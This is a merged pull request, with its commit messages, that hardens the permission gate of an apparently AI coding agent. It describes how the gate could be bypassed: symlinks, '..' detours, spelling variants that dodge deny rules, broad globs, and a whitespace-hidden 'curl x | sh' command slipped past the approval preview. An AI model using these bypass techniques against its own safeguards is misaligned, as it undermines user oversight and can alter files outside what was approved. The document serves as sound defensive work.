Skip to content

fix(permission): close symlink, protected-path, and glob bypasses - #113

Merged
hakula139 merged 3 commits into
mainfrom
fix/permission-bypasses
Oct 15, 2026
Merged

hakula139 merged 3 commits into
mainfrom
fix/permission-bypasses

Conversation

@hakula139

Copy link
Copy Markdown
Owner

Summary

The permission gate introduced in #95 could be bypassed with symlinks, spelling variants, and broad globs. A call that the gate resolved to one path could also end up writing to another. This PR closes those gaps, protects repository metadata and configuration files, and makes the approval modal show the full call before accepting an answer.

  • Path resolution:
    • GateTarget::for_path walks the path one component at a time, as the kernel does. It follows every symlink, including dangling ones, and resolves .. from the walk's current position. A path whose location cannot be determined is never auto-allowed.
    • check_permission pins the path field to the resolved path before previewing and running the call.
    • read and edit recheck the opened file. On Unix, file tools open files with O_NOFOLLOW, and reads also use O_NONBLOCK. The write tool creates new files with create_new.
  • Deny rules:
    • Each deny rule matches both the resolved path and the path as written in the call, with names normalized for case, Unicode compatibility, default-ignorable code points, and trailing dots and spaces.
    • A rule whose literal prefix is a symlink also matches the prefix's resolved location.
    • Allow rules still match exactly, so only deny rules can over-match.
  • Protected paths:
    • Edits under .git/hooks, editor and devcontainer configuration, .envrc, shell rc files, .cargo/config.toml, rust-toolchain, .claude/ settings and hooks, ox.toml, and oxide-code's own directories always require approval, even under edit(**).
    • In-cwd auto-allow is disabled when cwd is /, $HOME, or an ancestor of $HOME, and on Unix for files with a second hard link.
  • Rule grammar:
    • Globs use a literal separator, so * stops at /. ~/ expands.
    • Rules address permission classes (read, edit, bash), so a read(.env) deny also covers grep and glob. An unknown class makes configuration loading fail.
    • yolo retains user and project deny rules.
  • Approval modal:
    • Rows wrap, and long bodies scroll with a position line.
    • Control and zero-width characters render as escapes, and unusual whitespace in commands is shown visibly.
    • Approval requires an explicit y key press. Keys received within 300 ms of the previous key are dropped, preventing type-ahead or a pasted burst from approving the call.
  • Docs: the permission design doc describes the current pipeline and its remaining gaps: intermediate-directory swaps, Windows 8.3 names, hard links and final-component swaps, and anything bash touches. The configuration guide gains a [permission] section.

Test plan

  • cargo fmt --all --check and cargo clippy --all-targets -- -D warnings passed at the tip and on each commit.
  • cargo test: 2244 passed. Agent-turn tests cover a deny rule, mid-turn approval, and a write through a dangling symlink.
  • cargo llvm-cov changed lines: 1954 / 1961. The 7 misses are test-only panic arms and a root-user skip.
  • Targeted mutants that disable each fix all fail the suite.
  • pnpm lint and pnpm spellcheck passed.
  • Windows behavior was not exercised. The gaps listed above remain open.

@hakula139 hakula139 added the bug Something isn't working label Oct 15, 2026
@hakula139 hakula139 self-assigned this Oct 15, 2026
@codecov

codecov Bot commented Oct 15, 2026 •

Copy link
Copy Markdown

Codecov Report

❌ Patch coverage is 99.63712% with 7 lines in your changes missing coverage. Please review.

Files with missing lines Patch % Lines
crates/oxide-code/src/agent.rs 99.09% 2 Missing ⚠️
crates/oxide-code/src/permission.rs 99.71% 2 Missing ⚠️
crates/oxide-code/src/tool/write.rs 97.53% 2 Missing ⚠️
crates/oxide-code/src/tool.rs 99.50% 1 Missing ⚠️

📢 Thoughts on this report? Let us know!

The gate from #95 could be walked around in several ways. Each attack
and its fix:

- Dangling symlinks and `..` detours. `notes.md -> ../.zshenv` with no
  target yet failed `canonicalize`, so the gate fell back to the raw
  in-cwd path and auto-allowed the write, and `fs::write` followed the
  link out of the repo. Lexical `..` handling let `missing/../../x`
  count as in-cwd while `create_dir_all` stepped out, and let
  `missing/../link/x` hide `link` from the resolver.
  `GateTarget::for_path` now walks the path one component at a time
  the way the kernel does. It follows every symlink, a dangling one
  included, and steps `..` back from where the walk stands. More than
  40 hops or an unreadable component leave the location unknown, so
  the target never auto-allows and keeps its joined spelling for the
  tool to fail on.
- Gate / tool disagreement. The tool reopened the raw input path after
  the gate checked a different one. `check_permission` now pins the
  path field to the resolved path before the preview and the run.
  `read` and `edit` check size and file type by path and again on the
  opened file, so a file swapped in between cannot skip the check. On
  Unix, `read`, `edit`, and `write` open with O_NOFOLLOW, `read` and
  `edit` add O_NONBLOCK so a swapped-in fifo cannot hang them, and
  `write` creates new files with create_new. A swap in an intermediate
  directory is not covered.
- Deny rules and symlinks. With `.env -> ../shared/.env`, the resolved
  path sits outside cwd, so `read(**/.env)` never matched, even in
  yolo. Deny rules now also match the lexically normalized path as the
  call spells it. With `secrets -> ../vault`, `read(secrets/**)` missed
  `../vault/key`, so at policy load each deny rule whose literal prefix
  resolves elsewhere also matches there, relative rules against the
  launch directory. Allow rules and zones use only the resolved path.
- Deny rules and spelling variants. Rules compared names byte for byte,
  so `.ENV`, `.env.`, an NFD `café.txt`, a zero-width character, or an
  uppercased cwd prefix opened the denied file on a case-insensitive or
  normalizing file system yet missed the rule. Deny rules now also
  match with names folded: default-ignorable code points dropped,
  Unicode compatibility case folding (the new `caseless` and
  `unicode-normalization` deps), and trailing dots and spaces trimmed.
  Allow rules match names exactly.
- Metadata and config edits. An in-cwd edit to `.git/hooks`,
  `.vscode/tasks.json`, `.envrc`, shell rc files, `.cargo/config.toml`,
  `ox.toml`, or oxide-code's own config / data / state directories
  auto-allowed. These, plus `.githooks`, `.husky`, `.devcontainer`,
  `.codex`, `rust-toolchain(.toml)`, `.claude/settings*.json`, and
  `.claude/hooks`, are now protected, and an edit there asks even
  under `edit(**)`. Names compare folded the same way as deny rules,
  since APFS opens `.cargo/config.toml` and `.vſcode` as the protected
  names and Windows opens `.git.` as `.git`. Both spellings of the
  path are checked, and where each protected name directly under cwd
  resolves is protected too, so `.vscode -> tools/vscode` covers
  `tools/vscode`. The in-cwd allow is disabled when cwd is `/`, $HOME,
  or an ancestor of $HOME, and on Unix for a regular file with a
  second hard link, which may sit outside cwd. The `write(.ox/**)`
  default (a directory oxide-code never uses) is gone.
- Glob reach. `*` crossed `/`, and a relative glob fell back to the
  canonical path, so `edit(*.json)` covered every JSON file on disk.
  Globs now use literal_separator, relative globs match only the
  cwd-relative path, absolute globs only the resolved path, and `~/`
  expands to the home directory.
- Tool-name rules. A `read(.env)` deny did not stop `grep` or `glob`
  from reading the file. Tools now declare a permission class (`read`,
  `edit`, `bash`) and rules address classes. A rule naming a tool that
  is not a class (`write(...)`) is a load error.
- yolo dropped user denies. `yolo` now keeps user and project deny
  rules and skips only asks and the shipped defaults.

agent_turn-level tests cover a deny rule, a mid-turn approval, and a
dangling-symlink write, so removing the gate call fails the suite. The
Bash approval title is now the tool name, and a Write overwrite
previews a diff against the current file content.
The approval modal truncated each row to the terminal width and capped
the body at 16 rows, so `cargo test<200 spaces>; curl x | sh` previewed
as `cargo test` and a long diff or path hid its tail.

Every title and body row now wraps. A body taller than 16 rows scrolls
with Up / Down, PageUp / PageDown, and Home / End under a `rows a-b of n`
position line. Control and zero-width characters render as escapes, and
in a command each whitespace character past the indentation renders as
a dim `·` unless it is a single space. The wrapped layout is cached per
width and palette so a large Write preview is not rewrapped every frame.

The modal can also open mid-typing, so an Enter meant for a queued
prompt approved the call. Approving now takes an explicit `y`, and
Enter does nothing. The modal answers key presses only, so a release
or repeat event cannot approve, and it drops keys until 300 ms pass
without one, each key restarting the window, so neither type-ahead nor
a pasted burst of keys approves. Esc and Ctrl+C still deny through the
stack.
…mmar

Rewrite the permission design doc for the 9-step pipeline, the
component-wise path walk and pinning, the opened-file recheck and the
Unix-only open flags, deny matching on both spellings, folded names,
and resolved rule prefixes, protected paths, hard links, permission
classes, the approval keys, and the exact glob grammar. State what the
deny list covers and the gaps it leaves: symlink swaps in an
intermediate directory, Windows 8.3 names, hard links, and
final-component swaps, and whatever bash touches. Drop the `.ox/**`
default and the "gitignore-style" claim, and rewrite passages that
described the change history or a planned classifier as present.

Add a `[permission]` section to the configuration guide, correct the
quickstart's approval keys, and update the crate tree.
@hakula139
hakula139 force-pushed the fix/permission-bypasses branch from 37e9245 to 648f58b Compare October 15, 2026 04:14
@hakula139
hakula139 merged commit 5b231a4 into main Oct 15, 2026
14 checks passed
@hakula139
hakula139 deleted the fix/permission-bypasses branch October 15, 2026 04:29
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

area: permission bug Something isn't working

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant